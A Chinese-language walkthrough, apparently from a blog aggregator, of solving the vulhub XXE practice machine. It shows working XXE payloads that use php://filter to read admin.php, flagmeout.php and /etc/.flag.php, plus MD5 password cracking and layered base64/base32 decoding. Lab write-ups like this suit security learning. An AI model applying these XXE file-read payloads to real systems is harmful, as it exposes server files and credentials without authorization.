当前位置: 首页 > news >正文

vulhub xxe靶机通关教程

首先我们进行端口扫描

扫出来端口之后去尝试得出地址为183

发现robots.txt文件

由此我们就得到了两个目录

我们先进入xxe目录,并开始登录抓包

并进入重放器在xml里面构造语句

<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>

把那些码复制下来进行base64解码

解码完成后放下翻发现有用户名和密码,用户名为administhebest,但是密码是被md5加密的

那么我们把密码复制下来去md5解密,得出密码admin@123

然后我们去尝试登录

看到一个flag我们点击查看

进入xee目录进行抓包并读取文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=./flagmeout.php">
]>
<root><name>&admin;</name><password>admin</password></root>

又得到一段编码复制下来进行base64解码

然后再对括号里的进行base32解码

发现还得进行base64解码把base32解码完成之后的复制进行64解码

得到了flag的目录那么我们再次进入到xee目录的界面进行抓包读取

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root><name>&admin;</name><password>admin</password></root>

我们再次进行base64解码

解码之后得出一段php代码

我们打开小皮面板进入自己网站的根目录,创建一个php文件进行访问

把刚刚解码的php代码复制进去,并加上<?php 的开头

保存然后进行访问

这里报错找不到页面肯能是php版本的问题,我们进入小皮->网站->管理->php版本,更换一个版本

这里我改成5.3.29了

下载成功后再进入php版本进行切换

换了之后看到报错内容里面有flag在花括号里

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • PLC边缘计算网关的选择策略-天拓四方
  • 怎么使用PPT倒计时插件?这款在线PPT工具,堪称办公必备!
  • uniapp二维码生成
  • 聚道云软件连接器8月新增应用合集(4)
  • EI论文被引多少次算高引?
  • MFC展锐下载工具设置指定分区下载不擦除 带sheet页的对话框的自动调用。
  • 制作Centos7.9 Live系统镜像
  • VUE 实现三级权限选中与全选
  • uniapp h5项目页面中使用了iframe导致浏览器返回按键无法使用, 返回不了上一页.
  • 【Python 第六篇章】字符操作和读取文件
  • 解决npm下载依赖速度慢的问题
  • 对称密码学
  • 微信小程序:最近三天,当日昨日,当月,上月其他时间可以参考思路
  • 全桥整流器简介
  • Oracle手动误删物理上的数据文件解决办法
  • SegmentFault for Android 3.0 发布
  • 5分钟即可掌握的前端高效利器:JavaScript 策略模式
  • Docker容器管理
  • happypack两次报错的问题
  • Hibernate【inverse和cascade属性】知识要点
  • Javascript编码规范
  • JavaScript创建对象的四种方式
  • Js基础——数据类型之Null和Undefined
  • python docx文档转html页面
  • Spring Cloud(3) - 服务治理: Spring Cloud Eureka
  • Vue.js源码(2):初探List Rendering
  • Vue组件定义
  • 纯 javascript 半自动式下滑一定高度,导航栏固定
  • 和 || 运算
  • 入门到放弃node系列之Hello Word篇
  • 小程序button引导用户授权
  • 小程序上传图片到七牛云(支持多张上传,预览,删除)
  • 进程与线程(三)——进程/线程间通信
  • 京东物流联手山西图灵打造智能供应链,让阅读更有趣 ...
  • # Panda3d 碰撞检测系统介绍
  • # Swust 12th acm 邀请赛# [ K ] 三角形判定 [题解]
  • #数学建模# 线性规划问题的Matlab求解
  • (1)(1.11) SiK Radio v2(一)
  • (1)STL算法之遍历容器
  • (173)FPGA约束:单周期时序分析或默认时序分析
  • (6) 深入探索Python-Pandas库的核心数据结构:DataFrame全面解析
  • (ISPRS,2023)深度语义-视觉对齐用于zero-shot遥感图像场景分类
  • (MonoGame从入门到放弃-1) MonoGame环境搭建
  • (Ruby)Ubuntu12.04安装Rails环境
  • (ZT)薛涌:谈贫说富
  • (二)WCF的Binding模型
  • (附源码)spring boot车辆管理系统 毕业设计 031034
  • (附源码)springboot教学评价 毕业设计 641310
  • (附源码)计算机毕业设计SSM基于java的云顶博客系统
  • (回溯) LeetCode 40. 组合总和II
  • (全注解开发)学习Spring-MVC的第三天
  • (四)七种元启发算法(DBO、LO、SWO、COA、LSO、KOA、GRO)求解无人机路径规划MATLAB
  • (循环依赖问题)学习spring的第九天
  • (转)Windows2003安全设置/维护
  • .bat批处理(七):PC端从手机内复制文件到本地